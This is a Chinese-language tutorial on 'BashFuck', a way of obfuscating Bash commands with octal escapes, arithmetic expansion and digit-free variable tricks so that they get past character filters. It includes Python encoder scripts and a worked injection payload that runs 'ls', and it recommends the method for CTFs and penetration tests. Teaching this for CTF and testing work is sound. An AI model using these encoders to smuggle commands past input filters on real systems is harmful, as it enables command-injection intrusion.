BashFuck学习
字数 1087 2025-08-18 17:33:32
BashFuck 技术详解
0x00 前言
BashFuck 是一种利用 Bash 脚本特性进行命令混淆和绕过限制的技术,类似于著名的 Brainfuck 编程语言概念。这种技术在渗透测试和 CTF 比赛中特别有用,可以绕过某些字符过滤限制。
0x01 基础知识
系统兼容性说明
- Debian/Ubuntu 系统的
sh软链接指向dash - CentOS 系统的
sh软链接指向bash - Kali Linux 的
zsh不完全兼容dash,导致IFS解析问题(可用空格代替)
关键概念
- IFS (Internal Field Separator): Bash 中的内部字段分隔符,默认为空格、制表符和换行符
- 算术扩展
$(()): 用于执行算术运算并返回结果 - 八进制/十六进制表示法: Bash 中可以使用
\xxx形式表示字符
0x02 常见技术方法
方法一:Common Oct (常规八进制编码)
将命令转换为八进制表示形式:
sum_data = ''
str1 = input("请输入要转化的命令:")
str1 = str1.strip() # 去除首尾空格
data_len = len(str1) # 判断总长度来循环
for i in range(data_len):
data = ord(str1[i])
if data == ord(' '): # 检查空格字符
sum_data += "'$IFS$'"
else:
data_8 = oct(data)[2:]
final_data = '\\' + data_8
sum_data += final_data
print("common_oct")
print("$'" + sum_data + "'")
示例:
$'\154\163' # 等同于 ls 命令
方法二:BashFuck X (算术扩展构造)
利用算术扩展 $(()) 构造命令:
- 基本形式:
"$"''\''\'$(($((1))54))'\'$(($((1))63))\'
- 二进制构造形式:
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
数字表示方法:
${#}→ 0${##}→ 1${#_}→ 1${_}→ 1${?}→ 0${?#}→ 1
Python 转换脚本:
def bashfuckx():
final_str1 = ''
final_str2 = ''
final_str3 = ''
str3 = input("请输入要转化的命令:")
for j in str3:
final_str1 += '$0<<<$0\\<\\<\\<\\$\\\'' +f'\\\\$(($((1<<1))#{bin(int(get_oct(j)))[2:]}))'+ '\\\''
final_str2 = '$0<<<$0\\<\\<\\<\\$\\\'' +final_str1.replace('1', '${##}')+ '\\\'' # 用 ${##} 来替换 1
final_str3 = '${!#}<<<${!#}\\<\\<\\<\\$\\\'' +final_str1.replace('1', '${##}').replace('0', '${#}')+ '\\\'' # 用 ${#} 来替换 0
result = input("请输入你要的格式\n1代表直接转化\n2代表替换1\n3代表全部替换(无数字)")
if result == '1':
print(final_str1)
elif result == '2':
print(final_str2)
elif result == '3':
print(final_str3)
else:
print("无效输入!")
注意: 由于扩展顺序问题,需要使用标准输入完成解析:
/bin/bash<<<
方法三:BashFuck Y (取反构造)
利用 -1 的取反特性构造数字:
数字构造表:
oct_list = [ # 构造数字 0-7 以便于后续八进制形式的构造
'$(())', # 0
'$((~$(($((~$(())))$((~$(())))))))', # 1
'$((~$(($((~$(())))$((~$(())))$((~$(())))))))', # 2
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 3
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 4
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 5
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 6
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 7
]
示例 Payload (执行 ls 命令):
__=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
0x03 技术要点总结
-
字符集限制绕过:
- 使用八进制/二进制表示法绕过特定字符限制
- 利用 Bash 变量扩展构造所需字符
-
执行方式:
- 通过标准输入重定向解决扩展顺序问题
- 使用
$0表示当前 shell (通常是 bash)
-
无数字构造:
- 使用
${#}表示 0 - 使用
${##}表示 1 - 通过这些基础构造所有需要的数字
- 使用
-
空格处理:
- 使用
$IFS$或直接空格 - 在 Kali zsh 中可能需要直接使用空格
- 使用
0x04 参考资源
0x05 实际应用建议
- 在 CTF 比赛中遇到字符限制时,可以考虑使用 BashFuck 技术
- 渗透测试中遇到命令注入但存在字符过滤时,可以尝试此类方法
- 建议先本地测试构造的命令,确保在不同系统上的兼容性
- 对于复杂命令,可以分段构造测试